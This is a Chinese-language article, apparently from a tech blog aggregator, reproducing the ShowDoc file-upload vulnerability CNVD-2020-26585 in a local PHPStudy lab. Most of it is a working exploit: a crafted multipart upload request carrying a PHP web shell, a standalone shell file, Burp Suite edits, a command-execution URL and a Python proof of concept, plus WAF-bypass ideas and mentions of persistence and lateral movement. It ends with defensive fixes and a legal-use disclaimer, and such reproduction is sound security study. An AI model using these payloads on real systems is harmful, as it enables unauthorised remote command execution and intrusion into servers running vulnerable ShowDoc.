news 2026/5/28 11:40:50

ShowDoc旧版本文件上传漏洞实战复现(CNVD-2020-26585,附PHPStudy环境搭建)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ShowDoc旧版本文件上传漏洞实战复现(CNVD-2020-26585,附PHPStudy环境搭建)

ShowDoc文件上传漏洞深度解析与实战复现指南

1. 漏洞背景与环境搭建

ShowDoc作为一款广受欢迎的在线文档协作工具,曾因文件上传功能的设计缺陷导致严重安全漏洞(CNVD-2020-26585)。这个漏洞的核心在于前端校验可被绕过,允许攻击者上传恶意脚本文件。我们先从基础环境搭建开始。

本地测试环境推荐配置

组件版本要求备注
PHPStudyv8.1或更高集成Apache/MySQL环境
ShowDocv2.8.2以下版本漏洞影响版本
Burp SuiteCommunity/Pro用于拦截和修改HTTP请求
蚁剑最新版WebShell管理工具

安装PHPStudy后,按以下步骤配置ShowDoc:

  1. 下载ShowDoc v2.8.1版本(可从GitHub releases获取历史版本)
  2. 解压到PHPStudy的WWW目录
  3. 访问http://localhost/showdoc完成安装向导
  4. 创建测试文档页面备用

注意:实验环境请使用虚拟机或隔离网络,避免真实系统受影响

2. 漏洞原理深度剖析

这个文件上传漏洞的特别之处在于它结合了多种安全缺陷:

  • 前端校验依赖:仅通过JavaScript验证文件扩展名
  • MIME类型混淆:服务端未严格校验Content-Type
  • 路径可预测:上传后的文件路径有固定规律
POST /index.php?s=/home/page/uploadImg HTTP/1.1 Host: localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php" Content-Type: text/plain <?php system($_GET['cmd']); ?> ------WebKitFormBoundaryABC123--

关键攻击点分析:

  1. 使用特殊字符<>绕过基础过滤
  2. 伪造Content-Type为text/plain
  3. 利用服务端未清理文件名中的特殊字符

3. 完整复现步骤详解

3.1 准备攻击载荷

创建包含以下代码的PHP文件(如shell.php):

<?php // 简易WebShell if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } else { echo "Server: ".php_uname(); } ?>

3.2 Burp Suite拦截修改

  1. 在ShowDoc上传界面选择任意图片文件
  2. 开启Burp Suite拦截(Proxy → Intercept on)
  3. 修改关键请求参数:
- Content-Disposition: form-data; name="editormd-image-file"; filename="test.jpg" + Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php" - Content-Type: image/jpeg + Content-Type: text/plain

3.3 获取WebShell

成功上传后,响应会包含文件路径:

{ "success": 1, "message": "上传成功", "url": "/Public/Uploads/2023-08/test.<>php" }

访问该路径即可执行系统命令:

http://localhost/showdoc/Public/Uploads/2023-08/test.<>php?cmd=whoami

4. 防御方案与安全启示

4.1 临时修复措施

对于仍在使用旧版本ShowDoc的用户,建议:

  1. application/extra/upload.php中添加严格过滤:

    $deny_ext = array('php','php5','php4','php3','phtml','htaccess');
  2. 修改Nginx/Apache配置,禁止执行上传目录的PHP文件

4.2 安全开发建议

文件上传功能的安全检查清单

  • [ ] 服务端文件类型校验(MIME检测)
  • [ ] 文件内容签名验证
  • [ ] 随机重命名上传文件
  • [ ] 设置上传目录不可执行
  • [ ] 文件扩展名白名单机制
  • [ ] 文件大小限制

经验分享:在实际渗透测试中,遇到文件上传功能时,可以尝试以下测试向量:

  • 双扩展名(test.php.jpg)
  • 大小写变异(test.PhP)
  • 特殊字符注入(test.%00.php)
  • 超长文件名

5. 漏洞研究进阶方向

掌握了基础复现方法后,可以进一步探索:

  1. 自动化利用脚本开发:使用Python编写PoC

    import requests url = "http://target.com/index.php?s=/home/page/uploadImg" files = {'editormd-image-file': ('shell.<>php', '<?php system($_GET[cmd]);?>', 'text/plain')} response = requests.post(url, files=files)
  2. 权限维持技术:如何将WebShell隐藏得更深

  3. 内网渗透路径:通过WebShell进行横向移动

在实际测试中,发现某些WAF会对<>字符进行拦截,此时可以尝试其他特殊字符组合,如:

  • 换行符\n注入
  • Unicode编码绕过
  • 分块传输编码

最后提醒:所有安全研究都应在合法授权范围内进行,漏洞复现的目的是为了更好地防御。建议在本地搭建的测试环境中练习这些技术,切勿对未授权系统进行测试

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/28 11:40:31

三步快速解决Windows热键冲突:Hotkey Detective终极指南

三步快速解决Windows热键冲突&#xff1a;Hotkey Detective终极指南 【免费下载链接】hotkey-detective A small program for investigating stolen key combinations under Windows 7 and later. 项目地址: https://gitcode.com/gh_mirrors/ho/hotkey-detective 你是否…

作者头像 李华
网站建设 2026/5/28 11:39:26

Noto Emoji字体终极指南:3分钟解决跨平台表情乱码问题

Noto Emoji字体终极指南&#xff1a;3分钟解决跨平台表情乱码问题 【免费下载链接】noto-emoji Noto Emoji fonts 项目地址: https://gitcode.com/gh_mirrors/no/noto-emoji Noto Emoji字体是Google开发的开源表情符号解决方案&#xff0c;专为统一跨平台表情显示而生。…

作者头像 李华
网站建设 2026/5/28 11:39:22

植入式医疗器械散热技术:从“温升不超过2℃”开始的设计长征

&#x1f393;作者简介&#xff1a;科技自媒体优质创作者 &#x1f310;个人主页&#xff1a;莱歌数字-CSDN博客 211、985硕士&#xff0c;从业16年 从事结构设计、热设计、售前、产品设计、项目管理等工作&#xff0c;涉足消费电子、新能源、医疗设备、制药信息化、核工业等…

作者头像 李华
网站建设 2026/5/28 11:37:16

终极指南:使用CDS API高效获取全球气候数据 [特殊字符]

终极指南&#xff1a;使用CDS API高效获取全球气候数据 &#x1f30d; 【免费下载链接】cdsapi Python API to access the Copernicus Climate Data Store (CDS) 项目地址: https://gitcode.com/gh_mirrors/cd/cdsapi CDS API是访问哥白尼气候数据存储库&#xff08;Co…

作者头像 李华